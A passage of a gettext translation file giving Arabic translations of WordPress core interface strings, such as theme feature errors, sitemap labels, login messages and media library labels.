msgstr "عند تسجيل ميزة مصفوفة \"array\"، يجب أن يتضمن مخطط الميزة على الكلمة المفتاحية \"items\"."

#: wp-includes/theme.php:3249
msgid "When registering an \"object\" feature, the feature's schema must include the \"properties\" keyword."
msgstr "عند تسجيل ميزة كائن \"object\"، يجب أن يتضمن مخطط الميزة على الكلمة المفتاحية \"properties\"."

#. translators: %s: Theme name.
#: wp-includes/theme.php:956
msgctxt "theme"
msgid "<strong>Error:</strong> Current WordPress version does not meet minimum requirements for %s."
msgstr "<strong>خطأ:</strong> لا يلبي إصدار ووردبريس الحالي، الحدّ الأدنى لمتطلبات %s."

#: wp-includes/theme.php:3220
msgid "The feature \"type\" is not valid JSON Schema type."
msgstr "الميزة \"type\" ليست نوع مخطط JSON صالحًا."

#: wp-includes/theme.php:3227
msgid "When registering a \"variadic\" theme feature, the \"type\" must be an \"array\"."
msgstr "عند تسجيل ميزة قالب \"variadic\"، يجب أن يكون الـ \"type\" عبارة عن مصفوفة \"array\"."

#: wp-includes/theme.php:3235
msgid "When registering an \"array\" or \"object\" feature to show in the REST API, the feature's schema must also be defined."
msgstr "عند تسجيل ميزة مصفوفة \"array\" أو كائن \"object\" لعرضها في الـ REST API، يجب أيضًا تحديد مخطط الميزة."

#. translators: %s: Theme name.
#: wp-includes/theme.php:938
msgctxt "theme"
msgid "<strong>Error:</strong> Current WordPress and PHP versions do not meet minimum requirements for %s."
msgstr "<strong>خطأ:</strong> لا تلبي إصدارات ووردبريس و PHP الحالية، الحدّ الأدنى لمتطلبات %s."

#. translators: %s: Theme name.
#: wp-includes/theme.php:947
msgctxt "theme"
msgid "<strong>Error:</strong> Current PHP version does not meet minimum requirements for %s."
msgstr "<strong>خطأ:</strong> لا يلبي إصدار PHP الحالي، الحدّ الأدنى لمتطلبات %s."

#: wp-includes/script-loader.php:968
msgid "This image cannot be displayed in a web browser. For best results convert it to JPEG before uploading."
msgstr "لا يمكن عرض هذه الصورة في متصفح الويب. للحصول على أفضل النتائج، قم بتحويلها إلى JPEG قبل الرفع."

#: wp-login.php:1161
msgid "Check your email"
msgstr "تحقق من بريدك الإلكتروني"

#. translators: %s: Link to the login page.
#: wp-login.php:1141
msgid "Check your email for the confirmation link, then visit the <a href=\"%s\">login page</a>."
msgstr "تحقق من بريدك الإلكتروني للحصول على رابط التأكيد، ثم انتقل إلى <a href=\"%s\">صفحة تسجيل الدخول</a>."

#. translators: %s: Link to the login page.
#: wp-login.php:1151
msgid "Registration complete. Please check your email, then visit the <a href=\"%s\">login page</a>."
msgstr "اكتمل التسجيل. يرجى التحقق من بريدك الإلكتروني، ثم الانتقال إلى <a href=\"%s\">صفحة تسجيل الدخول</a>."

#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:63
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:177
#: wp-admin/includes/class-wp-posts-list-table.php:1188
msgid "Last Modified"
msgstr "آخر تعديل"

#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:64
msgid "Change Frequency"
msgstr "فترة التحديث"

#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:65
msgid "Priority"
msgstr "الأولوية"

#: wp-includes/admin-bar.php:320
msgid "Edit Profile"
msgstr "تحرير الملف الشخصي"

#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:47
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:161
msgid "XML Sitemap"
msgstr "خريطة الموقع XML"

#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:48
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:162
msgid "This XML Sitemap is generated by WordPress to make your content more visible for search engines."
msgstr "تم إنشاء ملف الـ Sitemap XML هذا بواسطة ووردبريس لجعل المحتوى الخاص بك أكثر وضوحًا لمحركات البحث."

#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:51
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:165
msgid "https://www.sitemaps.org/"
msgstr "https://www.sitemaps.org/"

#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:52
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:166
msgid "Learn more about XML sitemaps."
msgstr "معرفة المزيد عن خرائط الموقع XML sitemaps."

#. translators: %s: Number of URLs.
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:57
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:171
msgid "Number of URLs in this XML Sitemap: %s."
msgstr "عدد الروابط في خريطة الموقع XML هذه: %s."

#. translators: %s: SimpleXML
#: wp-includes/sitemaps/class-wp-sitemaps-renderer.php:265
msgid "Could not generate XML sitemap due to missing %s extension"
msgstr "تعذّر إنشاء ملف خريطة XML بسبب فقدان الملحق %s"

#. translators: %s: List of element names.
#: wp-includes/sitemaps/class-wp-sitemaps-renderer.php:236
msgid "Fields other than %s are not currently supported for sitemaps."
msgstr "الحقول الأخرى بخلاف %s غير مدعومة حاليًا لملفات خرائط الموقع sitemaps."

#. translators: %s: List of element names.
#: wp-includes/sitemaps/class-wp-sitemaps-renderer.php:171
msgid "Fields other than %s are not currently supported for the sitemap index."
msgstr "الحقول الأخرى بخلاف %s غير مدعومة حاليًا لفهرس خريطة الموقع."

#: wp-includes/comment-template.php:635 wp-includes/js/dist/editor.js:8938
#: wp-admin/includes/meta-boxes.php:183 wp-admin/includes/meta-boxes.php:217
msgid "Password protected"
msgstr "محمي بكلمة مرور"

#: wp-includes/rest-api.php:51
msgid "Namespace must not start or end with a slash."
msgstr "يجب ألا تبدأ التسمية (Namespace) أو تنتهي بشرطة مائلة."

#: wp-includes/class-wp-xmlrpc-server.php:3441
#: wp-includes/class-wp-xmlrpc-server.php:3444
msgid "Sorry, the category could not be created."
msgstr "عذرًا، تعذَّر إنشاء التصنيف."

#: wp-includes/class-wp-xmlrpc-server.php:1842
#: wp-includes/class-wp-xmlrpc-server.php:5277
msgid "Sorry, the post could not be deleted."
msgstr "عذرًا، تعذَّر حذف المقالة."

#: wp-includes/class-wp-xmlrpc-server.php:1699
#: wp-includes/class-wp-xmlrpc-server.php:5217
#: wp-includes/class-wp-xmlrpc-server.php:5971
msgid "Sorry, the post could not be updated."
msgstr "عذرًا، تعذَّر تحديث المقالة."

#: wp-includes/media.php:4685 wp-includes/js/dist/block-library.js:56818
msgid "Select poster image"
msgstr "حدّد صورة الملصق"

#: wp-includes/blocks/navigation/block.json
#: wp-includes/blocks/social-links/block.json
msgctxt "block keyword"
msgid "links"
msgstr "الروابط"

#: wp-includes/js/dist/editor.js:12430 wp-admin/edit-form-advanced.php:145
msgid "View post"
msgstr "مشاهدة المقالة"

#. translators: Hidden accessibility text.
#: wp-includes/js/dist/editor.js:11678 wp-admin/edit-tag-form.php:152
#: wp-admin/edit-tags.php:458
#: wp-admin/includes/class-wp-posts-list-table.php:1657
#: wp-admin/includes/class-wp-terms-list-table.php:195
#: wp-admin/includes/class-wp-terms-list-table.php:671
#: wp-admin/includes/meta-boxes.php:934 wp-admin/includes/meta-boxes.php:1686
msgid "Slug"
msgstr "الاسم اللطيف"

#. translators: %s: Digit to indicate multiple of sizing, eg. 2X-Small.
#: wp-includes/class-wp-theme-json.php:3374
#: wp-includes/js/dist/block-library.js:50215
#: wp-includes/js/dist/components.js:57235
msgid "Small"
msgstr "صغير"

#. translators: 1: Post status, 2: Capability name.
#: wp-includes/capabilities.php:342
msgid "The post status %1$s is not registered, so it may not be reliable to check the capability %2$s against a post with that status."
msgstr "حالة المحتوى %1$s غير مُسجل، لذلك لا يمكن الإعتماد عليه في التحقق من الصلاحية \"%2$s\" على محتوى من هذه الحالة."

#. translators: %s: Comment link.
#: wp-includes/comment-template.php:1010 wp-admin/comment.php:206
#: wp-admin/includes/class-wp-comments-list-table.php:915
msgid "In reply to %s."
msgstr "ردًا على %s."

#: wp-includes/general-template.php:2413
msgid "Previous and next months"
msgstr "الشهر السابق والتالي"

#: wp-includes/option.php:2397
msgid "When registering an \"array\" setting to show in the REST API, you must specify the schema for each array item in \"show_in_rest.schema.items\"."
msgstr "عند تسجيل إعدادات \"array\" لإظهاره في واجهة برمجة تطبيقات REST API، يجب عليك تحديد المخطط لكل عنصر في المصفوفة في \"show_in_rest.schema.items\"."

#: wp-includes/user.php:3957
msgid "Last Login"
msgstr "آخر تسجيل دخول"

#: wp-includes/user.php:3978
msgid "Session Tokens"
msgstr "رموز الجلسة (Tokens)"

#: wp-includes/user.php:3954
msgid "Expiration"
msgstr "الانتهاء"

#: wp-includes/user.php:3979
msgid "User&#8217;s Session Tokens data."
msgstr "بيانات رموز الجلسة (Tokens) للمستخدم."

#: wp-includes/user.php:3944
msgid "User&#8217;s location data used for the Community Events in the WordPress Events and News dashboard widget."
msgstr "بيانات موقع المستخدم المستخدمة لأحداث المجتمع التي تظهر ضمن ودجت أحداث وأخبار ووردبريس عبر لوحة التحكم."

#: wp-includes/user.php:3956
msgid "User Agent"
msgstr "وكيل المستخدم"

#: wp-includes/user.php:3927 wp-includes/user.php:3955
msgid "IP"
msgstr "عنوان IP"

#: wp-includes/user.php:3923
msgid "City"
msgstr "المدينة"

#: wp-includes/user.php:3924
msgid "Country"
msgstr "الدولة"

#: wp-includes/user.php:3925
msgid "Latitude"
msgstr "خط العرض"

#: wp-includes/user.php:3926
msgid "Longitude"
msgstr "خط الطول"

#: wp-includes/user.php:3943
msgid "Community Events Location"
msgstr "مقر فعاليات المجتمع"

#. translators: %s: wp_privacy_additional_user_profile_data
#: wp-includes/user.php:3899
msgid "Filter %s returned items with reserved names."
msgstr "قام عامل التصفية %s بإرجاع العناصر ذات الأسماء المحجوزة."

#: wp-includes/media-template.php:467 wp-includes/media-template.php:706
#: wp-admin/includes/media.php:3486
msgid "Original image:"
msgstr "الصورة الأصلية:"

#: wp-includes/cron.php:1068
msgid "Once Weekly"
msgstr "مرة أسبوعيًا"

#. translators: Comment moderation. %s: Parent comment edit URL.
#. translators: %s: Comment link.
#: wp-includes/pluggable.php:1763 wp-includes/pluggable.php:1947
#: wp-admin/edit-form-comment.php:214
msgid "In reply to: %s"
msgstr "ردًا على: %s"

#: wp-includes/pluggable.php:1405
msgid "HTTP redirect status code must be a redirection code, 3xx."
msgstr "يجب أن يكون رمز حالة إعادة توجيه HTTP رمز إعادة توجيه، 3xx."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3089
msgid "Limit result set based on relationship between multiple taxonomies."
msgstr "حصر النتائج بناءً على العلاقة بين عدة فئات."

#. translators: 1: The taxonomy name, 2: The property name, either 'rest_base'
#. or 'name', 3: The conflicting value.
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2566
msgid "The \"%1$s\" taxonomy \"%2$s\" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom \"rest_base\" when registering the taxonomy to avoid this error."
msgstr "خاصية \"%2$s\" للفئة \"%1$s\" تتعارض (%3$s) مع خاصية موجودة على وحدة تحكّم المقالات REST API. حدّد \"rest_base\" مخصّص عند تسجيل الفئة لتجنب هذا الخطأ."

#: wp-includes/theme.php:4202
msgid "Whether the theme can manage the document title tag."
msgstr "ما إذا كان القالب باستطاعته إدارة وسم عنوان المستند."

#: wp-includes/theme.php:4135
msgid "Allows use of HTML5 markup for search forms, comment forms, comment lists, gallery, and caption."
msgstr "يسمح باستخدام أكواد html5 لنماذج البحث، ونماذج التعليقات، وقوائم التعليقات، المعرض، والكلمات التوضيحية."

#: wp-includes/theme.php:4209
msgid "Whether theme opts in to default WordPress block styles for viewing."
msgstr "ما إذا كان القالب يطبق تنسيقات ووردبريس الافتراضية للمكوّنات عند العرض."

#: wp-includes/theme.php:4053
msgid "Custom color palette if defined by the theme."
msgstr "لوحة ألوان مخصصة في حال تم تعيينها من القالب."

#: wp-includes/theme.php:3932
msgid "Custom header if defined by the theme."
msgstr "ترويسة مخصصة في حال تم تعيينها من القالب."

#: wp-includes/theme.php:3862
msgid "Custom background if defined by the theme."
msgstr "خلفية مخصصة في حال تم تعيينها من القالب."

#: wp-includes/theme.php:3977
msgid "Custom logo if defined by the theme."
msgstr "شعار مخصص في حال تم تعيينه من القالب."

#: wp-includes/theme.php:4078
msgid "Custom font sizes if defined by the theme."
msgstr "أحجام خطوط مخصصة في حال تم تعيينها من القالب."

#: wp-includes/theme.php:4103
msgid "Custom gradient presets if defined by the theme."
msgstr "تخصيص إعدادات مسبقة للتدرّج في حال تم تعيينها من القالب."

#: wp-includes/theme.php:4038
msgid "Whether the theme disables custom gradients."
msgstr "ما إذا كان القالب يعطّل التدرجات المخصصة."

#: wp-includes/theme.php:4017
msgid "Whether theme opts in to the dark editor style UI."
msgstr "ما إذا كان القالب يختار تنسيق الوضع الداكن لواجهة المحرر."

#: wp-includes/theme.php:3841
msgid "Whether posts and comments RSS feed links are added to head."
msgstr "ما إذا كانت روابط خلاصة المقالات والتعليقات RSS تضاف إلى الترويسة."

#: wp-includes/theme.php:4010
msgid "Whether the theme enables Selective Refresh for Widgets being managed with the Customizer."
msgstr "ما إذا كان القالب يتيح التحديث الانتقائي للودجات التي تتم إدارتها باستخدام أداة التخصيص."

#: wp-includes/theme.php:4024
msgid "Whether the theme disables custom colors."
msgstr "ما إذا كان القالب يعطل الألوان المخصصة."

#: wp-includes/theme.php:4031
msgid "Whether the theme disables custom font sizes."
msgstr "ما إذا كان القالب يعطل أحجام الخطوط المخصصة."

#: wp-includes/theme.php:4127
msgid "Whether theme opts in to the editor styles CSS wrapper."
msgstr "ما إذا كان القالب يختار محرر تنسيقات غلاف CSS."

#: wp-includes/theme.php:3834
msgid "Whether theme opts in to wide alignment CSS class."
msgstr "ما إذا كان القالب يختار فئة CSS ذات المحاذاة الواسعة."

#: wp-includes/class-wp-xmlrpc-server.php:5064
#: wp-includes/class-wp-xmlrpc-server.php:5077
msgid "Sorry, this method is not supported."
msgstr "عذرًا، هذه الطريقة غير مدعومة."

#: wp-includes/class-wp-xmlrpc-server.php:1701
#: wp-includes/class-wp-xmlrpc-server.php:5137
#: wp-includes/class-wp-xmlrpc-server.php:5626
msgid "Sorry, the post could not be created."
msgstr "عذرًا، تعذَّر إنشاء المقالة."

#. translators: Minimum input length in characters to start searching posts in
#. the "Insert/edit link" modal.
#: wp-includes/script-loader.php:1206
msgctxt "minimum input length for searching post links"
msgid "3"
msgstr "3"

#: wp-login.php:832
msgid "Please enter your username or email address. You will receive an email message with instructions on how to reset your password."
msgstr "الرجاء إدخال اسم المستخدم أو عنوان البريد الإلكتروني. سوف تتلقى رسالة بريد إلكتروني مع تعليمات حول كيفية إعادة تعيين كلمة المرور الخاصة بك."

#: wp-includes/media-template.php:175
msgctxt "media modal menu actions"
msgid "Actions"
msgstr "إجراءات"

#: wp-includes/media-template.php:177
msgctxt "media modal menu"
msgid "Menu"
msgstr "القائمة"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:188
msgid "Selected media actions"
msgstr "إجراءات الوسائط المحدَّدة"

#: wp-includes/post.php:3181
msgctxt "file type group"
msgid "Archives"
msgstr "الأرشيف"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:952
msgid "List of the missing image sizes of the attachment."
msgstr "قائمة أحجام الصور المفقودة من المرفق."

#: wp-includes/user.php:246
msgid "Unknown email address. Check again or try your username."
msgstr "بريد إلكتروني غير معروف. تحقّق مرة أخرى أو المحاولة بواسطة اسم المستخدم الخاص بك."

#: wp-includes/media.php:4710
msgid "Media list"
msgstr "قائمة الوسائط"

#: wp-includes/media.php:4709
msgid "Filter media"
msgstr "تصفية الوسائط"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:326 wp-includes/js/dist/block-editor.js:43003
#: wp-includes/js/dist/block-editor.js:43041
#: wp-includes/js/dist/block-library.js:25681
#: wp-includes/js/dist/block-library.js:42400
#: wp-includes/js/dist/block-library.js:46276
#: wp-admin/includes/class-wp-media-list-table.php:43
msgid "List view"
msgstr "عرض القائمة"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:334 wp-includes/js/dist/block-editor.js:43369
#: wp-includes/js/dist/block-library.js:25688
#: wp-includes/js/dist/block-library.js:42407
#: wp-includes/js/dist/block-library.js:46283
#: wp-admin/includes/class-wp-media-list-table.php:44
msgid "Grid view"
msgstr "عرض شبكي"

#: wp-includes/js/dist/editor.js:6463 wp-admin/includes/template.php:2698
msgid "Restore the backup"
msgstr "استعادة النسخة الاحتياطية"

#: wp-includes/js/dist/editor.js:6460 wp-admin/includes/template.php:2697
msgid "The backup of this post in your browser is different from the version below."
msgstr "النسخة الاحتياطية لهذه المقالة في المتصفح الخاص بك مختلفة عن النسخة أدناه."

#. translators: %s: Current WordPress version number.
#. translators: %s: Your current version of WordPress.
#: wp-includes/class-wp-recovery-mode-email-service.php:352
#: wp-admin/includes/class-wp-site-health.php:275
msgid "WordPress version %s"
msgstr "نسخة ووردبريس %s"

#. translators: 1: Current active theme name. 2: Current active theme version.
#: wp-includes/class-wp-recovery-mode-email-service.php:357
msgid "Active theme: %1$s (version %2$s)"
msgstr "القالب الحالي: %1$s (النسخة %2$s)"

#. translators: 1: The failing plugins name. 2: The failing plugins version.
#: wp-includes/class-wp-recovery-mode-email-service.php:366
msgid "Current plugin: %1$s (version %2$s)"
msgstr "الإضافة الحالية: %1$s (النسخة %2$s)"

#. translators: %s: The currently used PHP version.
#: wp-includes/class-wp-recovery-mode-email-service.php:374
msgid "PHP version %s"
msgstr "إصدار PHP %s"

#: wp-includes/nav-menu.php:97
msgid "Nav menu locations must be strings."
msgstr "أماكن قائمة التنقل ينبغي أن تكون سلسلة نصية."

#: wp-includes/ms-load.php:496
msgid "https://wordpress.org/documentation/article/debugging-a-wordpress-network/"
msgstr "https://wordpress.org/documentation/article/debugging-a-wordpress-network/"

#: wp-includes/formatting.php:4966
msgid "https://wordpress.org/documentation/article/customize-permalinks/#choosing-your-permalink-structure"
msgstr "https://wordpress.org/documentation/article/customize-permalinks/#choosing-your-permalink-structure"

#: wp-includes/link-template.php:2769 wp-includes/link-template.php:2853
#: wp-includes/link-template.php:2925
msgid "Posts"
msgstr "مقالات"

#. translators: 1: Timezone name, 2: Timezone abbreviation, 3: UTC abbreviation
#. and offset, 4: UTC offset.
#: wp-includes/customize/class-wp-customize-date-time-control.php:273
msgid "Your timezone is set to %1$s (%2$s), currently %3$s (Coordinated Universal Time %4$s)."
msgstr "تم تعيين المنطقة الزمنية الخاصة بك إلى %1$s (%2$s)، حاليًا %3$s (التوقيت العالمي المنسّق %4$s)."

#. translators: 1: UTC abbreviation and offset, 2: UTC offset.
#: wp-includes/customize/class-wp-customize-date-time-control.php:287
msgid "Your timezone is set to %1$s (Coordinated Universal Time %2$s)."
msgstr "تم تعيين المنطقة الزمنية الخاصة بك إلى %1$s (التوقيت العالمي المنسّق %2$s)."

#: wp-includes/class-wp-block-styles-registry.php:67
msgid "Block name must be a string."
msgstr "اسم المكوّن ينبغي أن يكون سلسلة نصية."

#. translators: 1: Block name, 2: Block style name.
#: wp-includes/class-wp-block-styles-registry.php:115
msgid "Block \"%1$s\" does not contain a style named \"%2$s\"."
msgstr "لا يحتوي المكوّن \"%1$s\" على نمط مسمى \"%2$s\"."

#: wp-includes/class-wp-fatal-error-handler.php:191
msgid "There has been a critical error on this website. Please check your site admin email inbox for instructions."
msgstr "كان هناك خطأ فادح في هذا الموقع. يرجى التحقّق من صندوق البريد الإلكتروني الخاص بمسؤول الموقع للحصول على التوجيهات."

#: wp-includes/class-wp-fatal-error-handler.php:194
msgid "There has been a critical error on this website."
msgstr "كان هناك خطأ فادح في هذا الموقع."

#: wp-includes/class-wp-fatal-error-handler.php:186
msgid "There has been a critical error on this website, putting it in recovery mode. Please check the Themes and Plugins screens for more details. If you just installed or updated a theme or plugin, check the relevant page for that first."
msgstr "كان هناك خطأ فادح في هذا الموقع، مما جعله في وضع الاسترداد. يرجى التحقّق من شاشات القوالب والإضافات للحصول على مزيد من التفاصيل. إذا قمت للتوّ بتنصيب أو تحديث قالب أو إضافة ما، فتحقق من الصفحة ذات الصلة بذلك أولاً."

#: wp-includes/class-wp-block-styles-registry.php:76
msgid "Block style name must be a string."
msgstr "يجب أن يحتوي اسم تنسيق المكوّن على نصّ."

#. translators: Documentation explaining debugging in WordPress.
#: wp-includes/functions.php:5854
#: wp-admin/includes/class-wp-site-health.php:1499
msgid "https://wordpress.org/documentation/article/debugging-in-wordpress/"
msgstr "https://wordpress.org/documentation/article/debugging-in-wordpress/"

#: wp-includes/media.php:4635
msgid "No media items found. Try a different search."
msgstr "لم يتم العثور على عناصر وسائط. جرب البحث بطريقة أخرى."

#: wp-includes/media.php:5240
msgid "User&#8217;s media data."
msgstr "بيانات وسائط المستخدم."

#: wp-includes/user.php:2225
msgid "Sorry, marking a user as spam is only supported on Multisite."
msgstr "المعذرة، وضع علامة على المستخدم كمزعج مدعومة فقط على المواقع المتعددة."

#: wp-includes/user.php:2360
msgid "Not enough data to create this user."
msgstr "بيانات غير كافية لإنشاء هذا المستخدم."

#: wp-includes/user.php:3914
msgid "User&#8217;s profile data."
msgstr "بيانات الملف الشخصي للمستخدم."

#: wp-includes/class-wp-image-editor-imagick.php:708
msgid "The image cannot be rotated because the embedded meta data cannot be updated."
msgstr "لا يمكن تدوير الصورة، لأنه تعذّر تحديث بيانات التعريف المضمنة."

#: wp-includes/post.php:3182
msgid "Manage Archives"
msgstr "إدارة الأرشيفات"

#: wp-includes/post.php:3164
msgid "Manage Documents"
msgstr "إدارة المستندات"

#. translators: %s: Number of archives.
#: wp-includes/post.php:3184
msgid "Archive <span class=\"count\">(%s)</span>"
msgid_plural "Archives <span class=\"count\">(%s)</span>"
msgstr[0] "الأرشيف <span class=\"count\">(%s)</span>"
msgstr[1] "الأرشيفات <span class=\"count\">(%s)</span>"
msgstr[2] "الأرشيفات <span class=\"count\">(%s)</span>"
msgstr[3] "الأرشيفات <span class=\"count\">(%s)</span>"
msgstr[4] "الأرشيفات <span class=\"count\">(%s)</span>"
msgstr[5] "الأرشيفات <span class=\"count\">(%s)</span>"

#. translators: %d: Number of attachments found in a search.
#: wp-includes/media.php:4633
msgid "Number of media items found: %d"
msgstr "عدد عناصر الوسائط التي تم العثور عليها: %d"

#: wp-includes/load.php:189 wp-admin/install.php:296
msgid "Requirements Not Met"
msgstr "متطلبات غير مستوفاة"

#: wp-includes/post.php:3173
msgid "Manage Spreadsheets"
msgstr "إدارة جداول البيانات"

#. translators: %s: Number of spreadsheets.
#: wp-includes/post.php:3175
msgid "Spreadsheet <span class=\"count\">(%s)</span>"
msgid_plural "Spreadsheets <span class=\"count\">(%s)</span>"
msgstr[0] "جداول بيانات <span class=\"count\">(%s)</span>"
msgstr[1] "جدول بيانات <span class=\"count\">(%s)</span>"
msgstr[2] "جداول بيانات <span class=\"count\">(%s)</span>"
msgstr[3] "جداول بيانات <span class=\"count\">(%s)</span>"
msgstr[4] "جداول بيانات <span class=\"count\">(%s)</span>"
msgstr[5] "جداول بيانات <span class=\"count\">(%s)</span>"

#: wp-includes/post.php:3163
msgid "Documents"
msgstr "مستندات"

#: wp-includes/post.php:3172
msgid "Spreadsheets"
msgstr "جداول بيانات"

#. translators: 1: "srclang" HTML attribute, 2: "label" HTML attribute, 3:
#. "kind" HTML attribute.
#: wp-includes/media-template.php:1473
msgid "The %1$s, %2$s, and %3$s values can be edited to set the video track language and kind."
msgstr "يمكن تحرير قيم %1$s، %2$s و %3$s لتعيين مسار لغة الفيديو ونوعه."

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-text-diff-renderer-table.php:119
msgid "Added:"
msgstr "تم إضافة:"

#: wp-includes/comment.php:3780
msgid "User&#8217;s comment data."
msgstr "بيانات تعليق المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:418
msgid "Sorry, you are not allowed to delete revisions of this post."
msgstr "عذرًا، غير مسموح لك بحذف المراجعات لهذه المقالة."

#. translators: %s: Custom field key.
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:331
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:345
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:397
msgid "Could not update the meta value of %s in database."
msgstr "تعذر تحديث القيمة الوصفية لـ %s في قاعدة البيانات."

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-text-diff-renderer-table.php:146
msgid "Unchanged:"
msgstr "لم يتمّ التغيير:"

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:347
msgid "Whether posts of this status may have floating published dates."
msgstr "ما إذا كانت منشورات هذه الحالة قد يكون لها تواريخ منشور مطلقة."

#: wp-includes/meta.php:1452
msgid "When registering an \"array\" meta type to show in the REST API, you must specify the schema for each array item in \"show_in_rest.schema.items\"."
msgstr "عند تسجيل نوع تعريف \"array\" لإظهاره في واجهة برمجة تطبيقات REST API، يجب عليك تحديد المخطط لكل عنصر في المصفوفة في \"show_in_rest.schema.items\"."

#: wp-includes/widgets/class-wp-widget-meta.php:75
msgid "Comments feed"
msgstr "خلاصة التعليقات"

#: wp-includes/widgets/class-wp-widget-meta.php:74
msgid "Entries feed"
msgstr "خلاصات Feed الإدخالات"

#: wp-login.php:618
msgid "Confirm your administration email"
msgstr "تأكيد بريدك الإلكتروني المخصّص للإدارة"

#: wp-login.php:647
msgid "Administration email verification"
msgstr "التحقق من البريد الإلكتروني للإدارة"

#: wp-login.php:650
msgid "Please verify that the <strong>administration email</strong> for this website is still correct."
msgstr "يرجى التحقق من أنّ <strong>البريد الإلكتروني للإدارة</strong> لهذا الموقع لا يزال صحيحًا."

#: wp-login.php:665
msgid "Why is this important?"
msgstr "لماذا هذا مهم؟"

#. translators: %s: Admin email address.
#: wp-login.php:676
msgid "Current administration email: %s"
msgstr "البريد الإلكتروني الحالي للإدارة: %s"

#: wp-login.php:683
msgid "This email may be different from your personal email address."
msgstr "قد يكون هذا البريد الإلكتروني مختلفًا عن عنوان بريدك الإلكتروني الشخصي."

#: wp-login.php:695
msgid "The email is correct"
msgstr "البريد الإلكتروني صحيح"

#: wp-login.php:711
msgid "Remind me later"
msgstr "ذكرني لاحقًا"

#: wp-includes/script-loader.php:952
msgid "Unexpected response from the server. The file may have been uploaded successfully. Check in the Media Library or reload the page."
msgstr "استجابة غير متوقّعة من الخادم. ربما تم رفع الملف بنجاح. تحقق من مكتبة الوسائط أو أعد تحميل الصفحة."

#. translators: URL to the WordPress help section about admin email.
#: wp-login.php:654
msgid "https://wordpress.org/documentation/article/settings-general-screen/#email-address"
msgstr "https://wordpress.org/documentation/article/settings-general-screen/#email-address"

#: wp-load.php:92 wp-admin/setup-config.php:196
msgid "https://wordpress.org/documentation/article/editing-wp-config-php/"
msgstr "https://wordpress.org/documentation/article/editing-wp-config-php/"

#. translators: Maximum number of words used in a post excerpt.
#: wp-includes/formatting.php:3909
msgctxt "excerpt_length"
msgid "55"
msgstr "55"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:430 wp-includes/js/dist/edit-site.js:16943
#: wp-includes/js/dist/editor.js:12783 wp-admin/import.php:206
#: wp-admin/includes/class-wp-theme-install-list-table.php:379
#: wp-admin/includes/class-wp-themes-list-table.php:270
msgid "Details"
msgstr "تفاصيل"

#. translators: Hidden accessibility text.
#: wp-includes/media-template.php:376
msgid "Attachment Preview"
msgstr "معاينة المرفق"

#: wp-includes/media-template.php:627
msgid "Caption&hellip;"
msgstr "كلمات توضيحية&hellip;"

#: wp-includes/media-template.php:631
msgid "Video title"
msgstr "عنوان الفيديو"

#: wp-includes/media-template.php:632
msgid "Video title&hellip;"
msgstr "عنوان الفيديو&hellip;"

#: wp-includes/media-template.php:634
msgid "Audio title"
msgstr "عنوان الصوت"

#: wp-includes/media-template.php:635
msgid "Audio title&hellip;"
msgstr "عنوان الصوت&hellip;"

#: wp-includes/media-template.php:637
msgid "Media title"
msgstr "عنوان الوسائط"

#: wp-includes/media-template.php:638
msgid "Media title&hellip;"
msgstr "عنوان الوسائط&hellip;"

#: wp-includes/media-template.php:1201
msgid "Image size in pixels"
msgstr "حجم الصورة بالبكسل"

#. translators: Maximum number of words used in a comment excerpt.
#: wp-includes/comment-template.php:639
msgctxt "comment_excerpt_length"
msgid "20"
msgstr "20"

#: wp-includes/class-wp-customize-manager.php:5562
#: wp-admin/includes/class-custom-background.php:447
msgctxt "Original Size"
msgid "Original"
msgstr "الأصلي"

#: wp-includes/media-template.php:242
msgid "Your browser cannot upload files"
msgstr "لا يمكن لمتصفحك رفع ملفات"

#: wp-includes/class-wp-image-editor-gd.php:277
#: wp-includes/class-wp-image-editor-imagick.php:534
msgid "Cannot resize the image. Both width and height are not set."
msgstr "لا يمكن تغيير حجم الصورة. لم يتم تعيين كل من العرض والارتفاع."

#: wp-includes/class-wp-xmlrpc-server.php:659 wp-includes/option.php:2322
msgid "Allow people to submit comments on new posts."
msgstr "السماح للناس بإرسال التعليقات على المقالات الجديدة."

#. translators: %s: Documentation URL.
#: wp-includes/user.php:3270
msgid "<strong>Error:</strong> The email could not be sent. Your site may not be correctly configured to send emails. <a href=\"%s\">Get support for resetting your password</a>."
msgstr "<strong>خطأ:</strong> تعذّر إرسال البريد الإلكتروني. ربما لم يتم تكوين إعدادات موقعك بشكل صحيح لإرسال رسائل البريد الإلكتروني. <a href=\"%s\">احصل على الدعم لإعادة تعيين كلمة مرورك</a>."

#: wp-includes/customize/class-wp-customize-theme-control.php:98
#: wp-admin/themes.php:403 wp-admin/themes.php:754
msgid "New version available."
msgstr "نسخة جديدة مُتاحة."

#: wp-includes/taxonomy.php:2521
msgid "Could not insert term taxonomy into the database."
msgstr "تعذر إدراج فئة العنصر في قاعدة البيانات."

#. translators: 1: Link to tutorial, 2: Additional link attributes, 3:
